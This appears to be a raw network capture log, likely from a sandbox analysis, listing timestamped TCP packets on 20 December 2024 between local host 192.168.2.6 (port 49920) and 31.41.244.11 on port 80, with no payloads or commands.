Dec 20, 2024 21:13:37.741720915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.741761923 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.742897034 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.742953062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.742966890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.743010044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.745786905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.745837927 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.745879889 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.745892048 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.745919943 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.745945930 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.746151924 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.746197939 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.746359110 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.746409893 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.746469975 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.746515989 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.747596979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.747646093 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.747689009 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.747735023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.748814106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.748866081 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.748924017 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.749017954 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.749994993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.750044107 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.750130892 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.750309944 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.751194000 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.751245022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.751332998 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.751377106 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.752485037 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.752543926 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.752551079 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.752585888 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.753566027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.753619909 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.753757954 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.753802061 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.754775047 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.754831076 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.754854918 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.755000114 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.756001949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.756053925 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.756129026 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.756175041 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.757203102 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.757251024 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.757299900 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.757343054 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.758397102 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.758449078 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.758513927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.758554935 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.759567022 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.759614944 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.759617090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.759650946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.760801077 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.760848045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.760934114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.760977983 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.761951923 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.762043953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.762092113 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.763187885 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.763242960 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.763288975 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.763329983 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.764337063 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.764383078 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.764472008 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.764518976 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.765507936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.765557051 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.765829086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.766201019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.766706944 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.766760111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.766839027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.766884089 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.767867088 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.767914057 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.767971992 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.768012047 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.769125938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.769175053 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.769205093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.769259930 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.770297050 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.770351887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.770420074 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.770555019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.771476030 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.771529913 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.771614075 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.771657944 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.772686005 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.772732019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.772790909 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.772842884 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.774038076 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.774090052 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.774122953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.774190903 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.775062084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.775120974 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.775304079 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.775357008 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.776448965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.776494026 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.776546955 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.776591063 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.777678967 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.777730942 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.777730942 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.777807951 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.778733015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.778786898 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.778842926 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.778882027 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.779944897 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.779993057 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.780082941 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.780126095 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.781080008 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.781125069 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.911875010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.911890030 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.912005901 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.912050962 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.912070990 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.912096024 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.912121058 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.912852049 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.913005114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.913054943 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.914113045 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.914160967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.914443970 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.914562941 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.915333033 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.915381908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.915523052 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.915571928 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.916498899 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.916544914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.917362928 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.917412996 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.917551041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.917563915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.917597055 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.918000937 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.918045044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.918210030 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.918288946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.919235945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.919248104 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.919286013 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.920403004 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.920490026 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.921086073 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.921127081 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.921591997 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.921957970 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.922254086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.922297001 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.922780037 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.922827005 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.922898054 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.923973083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.924014091 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.924173117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.924545050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.925190926 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.925204039 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.925240993 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.926358938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.926691055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.926734924 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.927565098 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.927608967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.927829027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.928548098 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.928719997 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.929028988 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.929073095 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.929934025 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.930325985 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.930372000 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.931191921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.931241035 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.931628942 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.931669950 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.932385921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.932398081 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.932435036 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.936613083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.936625957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.936636925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.936646938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.936659098 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.936674118 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.936716080 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.936769962 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.936825037 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.938242912 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.938292027 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.938431978 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.938474894 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.939445972 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.939492941 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.939801931 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.939842939 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.940417051 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.940489054 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.940591097 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.940663099 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.941525936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.941536903 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.941580057 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.942816019 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.943320990 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.943384886 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.943967104 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.944022894 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.944155931 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.944200993 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.945019007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.945070028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.945530891 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.945588112 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.946381092 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.946451902 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.946553946 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.946604967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.947547913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.947602034 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.948749065 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.948760986 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.948808908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.948910952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.948951960 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.949960947 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.949973106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.950011015 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.950037003 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.951102018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.951149940 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.951276064 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.951330900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.952248096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.952315092 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.952402115 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.952445030 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.953465939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.953515053 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.953640938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.953685999 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.954684019 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.954730988 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.954874039 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.954937935 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.955931902 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.955944061 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.956156015 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.956943035 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.956993103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.957139969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.957180977 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.958300114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.958358049 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.958477974 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.958518028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.959522963 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.959533930 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.959557056 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.959573030 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.960640907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.960764885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.960804939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.960865974 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.961838961 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.961849928 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.961886883 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.963131905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.963143110 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.963181973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.964252949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.964301109 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.964679003 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.964809895 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.965336084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.965375900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.965862989 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.966187954 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.966521978 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.966590881 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.967030048 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.967089891 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.967881918 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.967895031 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.967930079 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.967943907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.969084024 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.969095945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.969155073 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.969286919 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.969317913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.969378948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.969659090 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.969698906 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.970590115 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.970602036 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.970647097 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.971745014 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.971833944 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.972004890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.972050905 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.972868919 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.972918987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.102615118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.102957964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.102969885 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.103044987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.103065968 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.103997946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.104129076 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.104191065 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.104428053 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.104553938 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.105312109 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.105382919 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.105437994 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.106528044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.106955051 CET	80	49920	31.41.244.11	192.168.2.6
